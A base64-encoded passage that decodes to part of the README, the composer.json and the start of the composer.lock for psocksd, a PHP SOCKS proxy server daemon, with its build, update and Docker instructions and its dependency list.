YXItY29tcG9zZXIjaW5zdGFsbCkKYW5kIGNhbiBzaW1wbHkgaW52b2tlOgo+Cj4gYGBgYmFzaAo+ICQgcGhwIHBoYXItY29tcG9zZXIucGhhciBidWlsZCB+L3dvcmtzcGFjZS9wc29ja3NkCj4gYGBgCgojIyMjIFVwZGF0aW5nIG1hbnVhbGx5CgpJZiB5b3UgaGF2ZSBmb2xsb3dlZCB0aGUgYWJvdmUgaW5zdGFsbCBpbnN0cnVjdGlvbnMsIHlvdSBjYW4gdXBkYXRlIGBwc29ja3NkYCBieSBpc3N1aW5nIHRoZSBmb2xsb3dpbmcgdHdvIGNvbW1hbmRzOgoKYGBgYmFzaAokIGdpdCBwdWxsCiQgcGhwIGNvbXBvc2VyLnBoYXIgaW5zdGFsbApgYGAKCiMjIyBEb2NrZXIKClRoaXMgcHJvamVjdCBpcyBhbHNvIGF2YWlsYWJsZSBhcyBhIFtkb2NrZXJdKGh0dHBzOi8vd3d3LmRvY2tlci5jb20vKSBpbWFnZS4KVXNpbmcgdGhlIFtjbHVlL3Bzb2Nrc2RdKGh0dHBzOi8vcmVnaXN0cnkuaHViLmRvY2tlci5jb20vdS9jbHVlL3Bzb2Nrc2QvKSBpbWFnZSBpcyBhcyBlYXN5IGFzIHJ1bm5pbmcgdGhpczoKCmBgYGJhc2gKJCBkb2NrZXIgcnVuIC1kIC1wIDkwNTA6OTA1MCBjbHVlL3Bzb2Nrc2QKYGBgCgojIyBMaWNlbnNlCgpNSVQtbGljZW5zZWQKewogICAgIm5hbWUiOiAiY2x1ZS9wc29ja3NkIiwKICAgICJ0eXBlIjogInByb2plY3QiLAogICAgImRlc2NyaXB0aW9uIjogIkV4dGVuc2libGUgU09DS1MgdHVubmVsIC8gcHJveHkgc2VydmVyIGRhZW1vbiIsCiAgICAia2V5d29yZHMiOiBbIlNPQ0tTIHByb3h5IiwgInByb3h5IHNlcnZlciIsICJUQ1AgdHVubmVsIiwgInNlcnZlciBkYWVtb24iXSwKICAgICJob21lcGFnZSI6ICJodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9wc29ja3NkIiwKICAgICJsaWNlbnNlIjogIk1JVCIsCiAgICAiYXV0aG9ycyI6IFsKICAgICAgICB7CiAgICAgICAgICAgICJuYW1lIjogIkNocmlzdGlhbiBMw7xjayIsCiAgICAgICAgICAgICJlbWFpbCI6ICJjaHJpc3RpYW5AbHVlY2sudHYiCiAgICAgICAgfQogICAgXSwKICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAicHNyLTQiOiB7IkNsdWVcXFBzb2Nrc2RcXCI6ICJzcmMifQogICAgfSwKICAgICJyZXF1aXJlIjogewogICAgICAgICJwaHAiOiAiPj01LjMiLAogICAgICAgICJjbHVlL3NvY2tzLXJlYWN0IjogIn4wLjIuMCIsCiAgICAgICAgImNsdWUvY29ubmVjdGlvbi1tYW5hZ2VyLWV4dHJhIjogIjAuMy4qIiwKICAgICAgICAicmVhY3QvZXZlbnQtbG9vcCI6ICIwLjMiLAogICAgICAgICJyZWFjdC9zb2NrZXQiOiAiMC4zIiwKICAgICAgICAicmVhY3Qvc29ja2V0LWNsaWVudCI6ICIwLjMuKiIsCiAgICAgICAgInJlYWN0L2RucyI6ICIwLjMiLAogICAgICAgICJyZWFjdC9zdHJlYW0iOiAiMC4zIgogICAgfSwKICAgICJiaW4iOiBbImJpbi9wc29ja3NkIl0KfQp7CiAgICAiX3JlYWRtZSI6IFsKICAgICAgICAiVGhpcyBmaWxlIGxvY2tzIHRoZSBkZXBlbmRlbmNpZXMgb2YgeW91ciBwcm9qZWN0IHRvIGEga25vd24gc3RhdGUiLAogICAgICAgICJSZWFkIG1vcmUgYWJvdXQgaXQgYXQgaHR0cDovL2dldGNvbXBvc2VyLm9yZy9kb2MvMDEtYmFzaWMtdXNhZ2UubWQjY29tcG9zZXItbG9jay10aGUtbG9jay1maWxlIiwKICAgICAgICAiVGhpcyBmaWxlIGlzIEBnZW5lcmF0ZWQgYXV0b21hdGljYWxseSIKICAgIF0sCiAgICAiaGFzaCI6ICI2NzQ0M2E5Y2U2OTQ4NzU5N2IyNTdjNDIyNzBiMTA0NyIsCiAgICAicGFja2FnZXMiOiBbCiAgICAgICAgewogICAgICAgICAgICAibmFtZSI6ICJjbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYSIsCiAgICAgICAgICAgICJ2ZXJzaW9uIjogInYwLjMuMSIsCiAgICAgICAgICAgICJzb3VyY2UiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJnaXQiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waHAtY29ubmVjdGlvbi1tYW5hZ2VyLWV4dHJhLmdpdCIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogImY4ZmMyZWM3ODRkYjc5NzRlNjQ5YzE1OGM4MjZjMDE0Mjk2YmNmMDEiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJkaXN0IjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiemlwIiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbHVlL3BocC1jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEvemlwYmFsbC9mOGZjMmVjNzg0ZGI3OTc0ZTY0OWMxNThjODI2YzAxNDI5NmJjZjAxIiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiZjhmYzJlYzc4NGRiNzk3NGU2NDljMTU4YzgyNmMwMTQyOTZiY2YwMSIsCiAgICAgICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInJlcXVpcmUiOiB7CiAgICAgICAgICAgICAgICAicGhwIjogIj49NS4zIiwKICAgICAgICAgICAgICAgICJyZWFjdC9ldmVudC1sb29wIjogIjAuMy4qfDAuNC4qIiwKICAgICAgICAgICAgICAgICJyZWFjdC9wcm9taXNlIjogIn4xLjB8fjIuMCIsCiAgICAgICAgICAgICAgICAicmVhY3Qvc29ja2V0LWNsaWVudCI6ICIwLjMuKnwwLjQuKiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInR5cGUiOiAibGlicmFyeSIsCiAgICAgICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgICAgICJwc3ItNCI6IHsKICAgICAgICAgICAgICAgICAgICAiQ29ubmVjdGlvbk1hbmFnZXJcXEV4dHJhXFwiOiAic3JjIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgICAgICJsaWNlbnNlIjogWwogICAgICAgICAgICAgICAgIk1JVCIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgImF1dGhvcnMiOiBbCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgIm5hbWUiOiAiQ2hyaXN0aWFuIEzDvGNrIiwKICAgICAgICAgICAgICAgICAgICAiZW1haWwiOiAiY2hyaXN0aWFuQGx1ZWNrLnR2IgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBdLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiRXh0cmEgZGVjb3JhdG9ycyBmb3IgY3JlYXRpbmcgYXN5bmMgVENQL0lQIGNvbm5lY3Rpb25zIGJ1aWx0IHVwb24gcmVhY3Qvc29ja2V0LWNsaWVudCIsCiAgICAgICAgICAgICJob21lcGFnZSI6ICJodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waHAtY29ubmVjdGlvbi1tYW5hZ2VyLWV4dHJhIiwKICAgICAgICAgICAgImtleXdvcmRzIjogWwogICAgICAgICAgICAgICAgIkNvbm5lY3Rpb24iLAogICAgICAgICAgICAgICAgIlNvY2tldENsaWVudCIsCiAgICAgICAgICAgICAgICAiYWNsIiwKICAgICAgICAgICAgICAgICJkZWxheSIsCiAgICAgICAgICAgICAgICAiZmlyZXdhbGwiLAogICAgICAgICAgICAgICAgIm5ldHdvcmsiLAogICAgICAgICAgICAgICAgInJhbmRvbSIsCiAgICAgICAgICAgICAgICAicmVqZWN0IiwKICAgICAgICAgICAgICAgICJyZXBlYXQiLAogICAgICAgICAgICAgICAgInJldHJ5IiwKICAgICAgICAgICAgICAgICJ0aW1lb3V0IgogICAgICAgICAgICBdLAogICAgICAgICAgICAidGltZSI6ICIyMDE0LTA5LTI3IDIzOjAzOjQxIgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgICAibmFtZSI6ICJjbHVlL3NvY2tzLXJlYWN0IiwKICAgICAgICAgICAgInZlcnNpb24iOiAidjAuMi4wIiwKICAgICAgICAgICAgInNvdXJjZSI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3BocC1zb2Nrcy1yZWFjdC5naXQiLAogICAgICAgICAgICAgICAgInJlZmVyZW5jZSI6ICIxNGE5OGI2MzlhOWY5ZmY0NWU3ZGRhNGVkNGVlOTk1ZmY2YzQ2ZGNkIgogICAgICAgICAgICB9LAogICAgICAgICAgICAiZGlzdCI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogInppcCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY2x1ZS9waHAtc29ja3MtcmVhY3QvemlwYmFsbC8xNGE5OGI2MzlhOWY5ZmY0NWU3ZGRhNGVkNGVlOTk1ZmY2YzQ2ZGNkIiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiMTRhOThiNjM5YTlmOWZmNDVlN2RkYTRlZDRlZTk5NWZmNmM0NmRjZCIsCiAgICAgICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInJlcXVpcmUiOiB7CiAgICAgICAgICAgICAgICAiZXZlbmVtZW50L2V2ZW5lbWVudCI6ICJ+MS4wIiwKICAgICAgICAgICAgICAgICJwaHAiOiAiPj01LjMiLAogICAgICAgICAgICAgICAgInJlYWN0L2RucyI6ICIwLjMuKiIsCiAgICAgICAgICAgICAgICAicmVhY3QvZXZlbnQtbG9vcCI6ICIwLjMuKiIsCiAgICAgICAgICAgICAgICAicmVhY3QvcHJvbWlzZSI6ICJ+MS4wIiwKICAgICAgICAgICAgICAgICJyZWFjdC9zb2NrZXQiOiAiMC4zLioiLAogICAgICAgICAgICAgICAgInJlYWN0L3NvY2tldC1jbGllbnQiOiAiMC4zLioiLAogICAgICAgICAgICAgICAgInJlYWN0L3N0cmVhbSI6ICIwLjMuKiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInR5cGUiOiAibGlicmFyeSIsCiAgICAgICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgICAgICJwc3ItNCI6IHsKICAgICAgICAgICAgICAgICAgICAiQ2x1ZVxcUmVhY3RcXFNvY2tzXFwiOiAic3JjIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgICAgICJsaWNlbnNlIjogWwogICAgICAgICAgICAgICAgIk1JVCIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgImF1dGhvcnMiOiBbCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgIm5hbWUiOiAiQ2hyaXN0aWFuIEzDvGNrIiwKICAgICAgICAgICAgICAgICAgICAiZW1haWwiOiAiY2hyaXN0aWFuQGx1ZWNrLnR2IgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBdLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiQXN5bmMgU09DS1MgcHJveHkgY2xpZW50IGFuZCBzZXJ2ZXIgKFNPQ0tTNCwgU09DS1M0YSBhbmQgU09DS1M1KSIsCiAgICAgICAgICAgICJob21lcGFnZSI6ICJodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waHAtc29ja3MtcmVhY3QiLAogICAgICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICAgICAiYXN5bmMiLAogICAgICAgICAgICAgICAgInJlYWN0IiwKICAgICAgICAgICAgICAgICJzb2NrcyBjbGllbnQiLAogICAgICAgICAgICAgICAgInNvY2tzIHByb3RvY29sIiwKICAgICAgICAgICAgICAgICJzb2NrcyBzZXJ2ZXIiLAogICAgICAgICAgICAgICAgInRjcCB0dW5uZWwiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJ0aW1lIjogIjIwMTQtMDktMjcgMTU6MzI6MzAiCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAgICJuYW1lIjogImV2ZW5lbWVudC9ldmVuZW1lbnQiLAogICAgICAgICAgICAidmVyc2lvbiI6ICJ2MS4wLjAiLAogICAgICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiZ2l0IiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2lnb3J3L2V2ZW5lbWVudCIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogInYxLjAuMCIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJ6aXAiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vaWdvcncvZXZlbmVtZW50L3ppcGJhbGwvdjEuMC4wIiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAidjEuMC4wIiwKICAgICAgICAgICAgICAgICJzaGFzdW0iOiAiIgogICAgICAgICAgICB9LAogICAgICAgICAgICAicmVxdWlyZSI6IHsKICAgICAgICAgICAgICAgICJwaHAiOiAiPj01LjMuMCIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInR5cGUiOiAibGlicmFyeSIsCiAgICAgICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgICAgICJwc3ItMCI6IHsKICAgICAgICAgICAgICAgICAgICAiRXZlbmVtZW50IjogInNyYyIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgIm5vdGlmaWNhdGlvbi11cmwiOiAiaHR0cHM6Ly9wYWNrYWdpc3Qub3JnL2Rvd25sb2Fkcy8iLAogICAgICAgICAgICAibGljZW5zZSI6IFsKICAgICAgICAgICAgICAgICJNSVQiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJhdXRob3JzIjogWwogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICJuYW1lIjogIklnb3IgV2llZGxlciIsCiAgICAgICAgICAgICAgICAgICAgImVtYWlsIjogImlnb3JAd2llZGxlci5jaCIsCiAgICAgICAgICAgICAgICAgICAgImhvbWVwYWdlIjogImh0dHA6Ly93aWVkbGVyLmNoL2lnb3IvIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBdLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiw4l2w6luZW1lbnQgaXMgYSB2ZXJ5IHNpbXBsZSBldmVudCBkaXNwYXRjaGluZyBsaWJyYXJ5IGZvciBQSFAgNS4zIiwKICAgICAgICAgICAgImtleXdvcmRzIjogWwogICAgICAgICAgICAgICAgImV2ZW50LWRpc3BhdGNoZXIiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJ0aW1lIjogIjIwMTItMDUtMzAgMDg6MDE6MDgiCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAgICJuYW1lIjogInJlYWN0L2NhY2hlIiwKICAgICAgICAgICAgInZlcnNpb24iOiAidjAuMy4yIiwKICAgICAgICAgICAgInRhcmdldC1kaXIiOiAiUmVhY3QvQ2FjaGUiLAogICAgICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiZ2l0IiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL2NhY2hlLmdpdCIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogInYwLjMuMiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJ6aXAiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3JlYWN0cGhwL2NhY2hlL3ppcGJhbGwvdjAuMy4yIiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAidjAuMy4yIiwKICAgICAgICAgICAgICAgICJzaGFzdW0iOiAiIgogICAgICAgICAgICB9LAogICAgICAgICAgICAicmVxdWlyZSI6IHsKICAgICAgICAgICAgICAgICJwaHAiOiAiPj01LjMuMiIsCiAgICAgICAgICAgICAgICAicmVhY3QvcHJvbWlzZSI6ICI+PTEuMCw8Mi4wIgogICAgICAgICAgICB9LAogICAgICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAgICAgImV4dHJhIjogewogICAgICAgICAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgICAgICAgICAiZGV2LW1hc3RlciI6ICIwLjMtZGV2IgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAiYXV0b2xvYWQiOiB7CiAgICAgICAgICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICAgICAgICAgIlJlYWN0XFxDYWNoZSI6ICIiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJub3RpZmljYXRpb24tdXJsIjogImh0dHBzOi8vcGFja2FnaXN0Lm9yZy9kb3dubG9hZHMvIiwKICAgICAgICAgICAgImxpY2Vuc2UiOiBbCiAgICAgICAgICAgICAgICAiTUlUIgogICAgICAgICAgICBdLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiQXN5bmMgY2FjaGluZy4iLAogICAgICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICAgICAiY2FjaGUiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJ0aW1lIjogIjIwMTMtMDQtMjQgMDg6MzM6NDMiCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAgICJuYW1lIjogInJlYWN0L2RucyIsCiAgICAgICAgICAgICJ2ZXJzaW9uIjogInYwLjMuMCIsCiAgICAgICAgICAgICJ0YXJnZXQtZGlyIjogIlJlYWN0L0RucyIsCiAgICAgICAgICAgICJzb3VyY2UiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJnaXQiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcmVhY3RwaHAvZG5zLmdpdCIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogIjMwMTFkMjdlOWUzOWY4M2U3MDJiMGU3ZTQ2OTE5MmQzNmZiMjEyMDUiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJkaXN0IjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiemlwIiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9yZWFjdHBocC9kbnMvemlwYmFsbC8zMDExZDI3ZTllMzlmODNlNzAyYjBlN2U0NjkxOTJkMzZmYjIxMjA1IiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiMzAxMWQyN2U5ZTM5ZjgzZTcwMmIwZTdlNDY5MTkyZDM2ZmIyMTIwNSIsCiAgICAgICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInJlcXVpcmUiOiB7CiAgICAgICAgICAgICAgICAicGhwIjogIj49NS4zLjIiLAogICAgICAgICAgICAgICAgInJlYWN0L2NhY2hlIjogIjAuMy4qIiwKICAgICAgICAgICAgICAgICJyZWFjdC9wcm9taXNlIjogIn4xLjAiLAogICAgICAgICAgICAgICAgInJlYWN0L3NvY2tldCI6ICIwLjMuKiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInR5cGUiOiAibGlicmFyeSIsCiAgICAgICAgICAgICJleHRyYSI6IHsKICAgICAgICAgICAgICAgICJicmFuY2gtYWxpYXMiOiB7CiAgICAgICAgICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMC4zLWRldiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgImF1dG9sb2FkIjogewogICAgICAgICAgICAgICAgInBzci0wIjogewogICAgICAgICAgICAgICAgICAgICJSZWFjdFxcRG5zIjogIiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgIm5vdGlmaWNhdGlvbi11cmwiOiAiaHR0cHM6Ly9wYWNrYWdpc3Qub3JnL2Rvd25sb2Fkcy8iLAogICAgICAgICAgICAibGljZW5zZSI6IFsKICAgICAgICAgICAgICAgICJNSVQiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICJBc3luYyBETlMgcmVzb2x2ZXIuIiwKICAgICAgICAgICAgImtleXdvcmRzIjogWwogICAgICAgICAgICAgICAgImRucyIsCiAgICAgICAgICAgICAgICAiZG5zLXJlc29sdmVyIgogICAgICAgICAgICBdLAogICAgICAgICAgICAidGltZSI6ICIyMDEzLTAxLTIwIDE5OjEzOjE0IgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgICAibmFtZSI6ICJyZWFjdC9ldmVudC1sb29wIiwKICAgICAgICAgICAgInZlcnNpb24iOiAidjAuMy4wIiwKICAgICAgICAgICAgInRhcmdldC1kaXIiOiAiUmVhY3QvRXZlbnRMb29wIiwKICAgICAgICAgICAgInNvdXJjZSI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9ldmVudC1sb29wLmdpdCIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogIjc5OGE0M2IyZTliZDNjZWRhZjdjNWRlNmEzOWU2ZDAzZTRkYjhlMzIiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJkaXN0IjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiemlwIiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9yZWFjdHBocC9ldmVudC1sb29wL3ppcGJhbGwvNzk4YTQzYjJlOWJkM2NlZGFmN2M1ZGU2YTM5ZTZkMDNlNGRiOGUzMiIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogIjc5OGE0M2IyZTliZDNjZWRhZjdjNWRlNmEzOWU2ZDAzZTRkYjhlMzIiLAogICAgICAgICAgICAgICAgInNoYXN1bSI6ICIiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAgICAgInBocCI6ICI+PTUuMy4zIgogICAgICAgICAgICB9LAogICAgICAgICAgICAic3VnZ2VzdCI6IHsKICAgICAgICAgICAgICAgICJleHQtbGliZXYiOiAiKiIsCiAgICAgICAgICAgICAgICAiZXh0LWxpYmV2ZW50IjogIj49MC4wLjUiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJ0eXBlIjogImxpYnJhcnkiLAogICAgICAgICAgICAiZXh0cmEiOiB7CiAgICAgICAgICAgICAgICAiYnJhbmNoLWFsaWFzIjogewogICAgICAgICAgICAgICAgICAgICJkZXYtbWFzdGVyIjogIjAuMy1kZXYiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgICAgICJwc3ItMCI6IHsKICAgICAgICAgICAgICAgICAgICAiUmVhY3RcXEV2ZW50TG9vcCI6ICIiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJub3RpZmljYXRpb24tdXJsIjogImh0dHBzOi8vcGFja2FnaXN0Lm9yZy9kb3dubG9hZHMvIiwKICAgICAgICAgICAgImxpY2Vuc2UiOiBbCiAgICAgICAgICAgICAgICAiTUlUIgogICAgICAgICAgICBdLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiRXZlbnQgbG9vcCBhYnN0cmFjdGlvbiBsYXllciB0aGF0IGxpYnJhcmllcyBjYW4gdXNlIGZvciBldmVudGVkIEkvTy4iLAogICAgICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICAgICAiZXZlbnQtbG9vcCIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgInRpbWUiOiAiMjAxMy0wMS0xNCAyMzoxMTo0NyIKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICAgIm5hbWUiOiAicmVhY3QvcHJvbWlzZSIsCiAgICAgICAgICAgICJ2ZXJzaW9uIjogInYxLjAuNCIsCiAgICAgICAgICAgICJzb3VyY2UiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJnaXQiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcmVhY3RwaHAvcHJvbWlzZS5naXQiLAogICAgICAgICAgICAgICAgInJlZmVyZW5jZSI6ICJ2MS4wLjQiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJkaXN0IjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiemlwIiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9yZWFjdHBocC9wcm9taXNlL3ppcGJhbGwvdjEuMC40IiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAidjEuMC40IiwKICAgICAgICAgICAgICAgICJzaGFzdW0iOiAiIgogICAgICAgICAgICB9LAogICAgICAgICAgICAicmVxdWlyZSI6IHsKICAgICAgICAgICAgICAgICJwaHAiOiAiPj01LjMuMyIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInR5cGUiOiAibGlicmFyeSIsCiAgICAgICAgICAgICJleHRyYSI6IHsKICAgICAgICAgICAgICAgICJicmFuY2gtYWxpYXMiOiB7CiAgICAgICAgICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMS4wLWRldiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgImF1dG9sb2FkIjogewogICAgICAgICAgICAgICAgInBzci0wIjogewogICAgICAgICAgICAgICAgICAgICJSZWFjdFxcUHJvbWlzZSI6ICJzcmMvIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgICAgICJsaWNlbnNlIjogWwogICAgICAgICAgICAgICAgIk1JVCIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgImF1dGhvcnMiOiBbCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgIm5hbWUiOiAiSmFuIFNvcmdhbGxhIiwKICAgICAgICAgICAgICAgICAgICAiZW1haWwiOiAianNvcmdhbGxhQGdvb2dsZW1haWwuY29tIiwKICAgICAgICAgICAgICAgICAgICAiaG9tZXBhZ2UiOiAiaHR0cDovL3NvcmdhbGxhLmNvbSIsCiAgICAgICAgICAgICAgICAgICAgInJvbGUiOiAibWFpbnRhaW5lciIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIkEgbGlnaHR3ZWlnaHQgaW1wbGVtZW50YXRpb24gb2YgQ29tbW9uSlMgUHJvbWlzZXMvQSBmb3IgUEhQIiwKICAgICAgICAgICAgInRpbWUiOiAiMjAxMy0wNC0wMyAxNDowNTo1NSIKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICAgIm5hbWUiOiAicmVhY3Qvc29ja2V0IiwKICAgICAgICAgICAgInZlcnNpb24iOiAidjAuMy4wIiwKICAgICAgICAgICAgInRhcmdldC1kaXIiOiAiUmVhY3QvU29ja2V0IiwKICAgICAgICAgICAgInNvdXJjZSI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9zb2NrZXQuZ2l0IiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiZTU0OWIxZTM5ZGFlZmViYzJmMjI5MGM2YWZkZmM2YmE1ZDEyZTUxZiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJ6aXAiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3JlYWN0cGhwL3NvY2tldC96aXBiYWxsL2U1NDliMWUzOWRhZWZlYmMyZjIyOTBjNmFmZGZjNmJhNWQxMmU1MWYiLAogICAgICAgICAgICAgICAgInJlZmVyZW5jZSI6ICJlNTQ5YjFlMzlkYWVmZWJjMmYyMjkwYzZhZmRmYzZiYTVkMTJlNTFmIiwKICAgICAgICAgICAgICAgICJzaGFzdW0iOiAiIgogICAgIC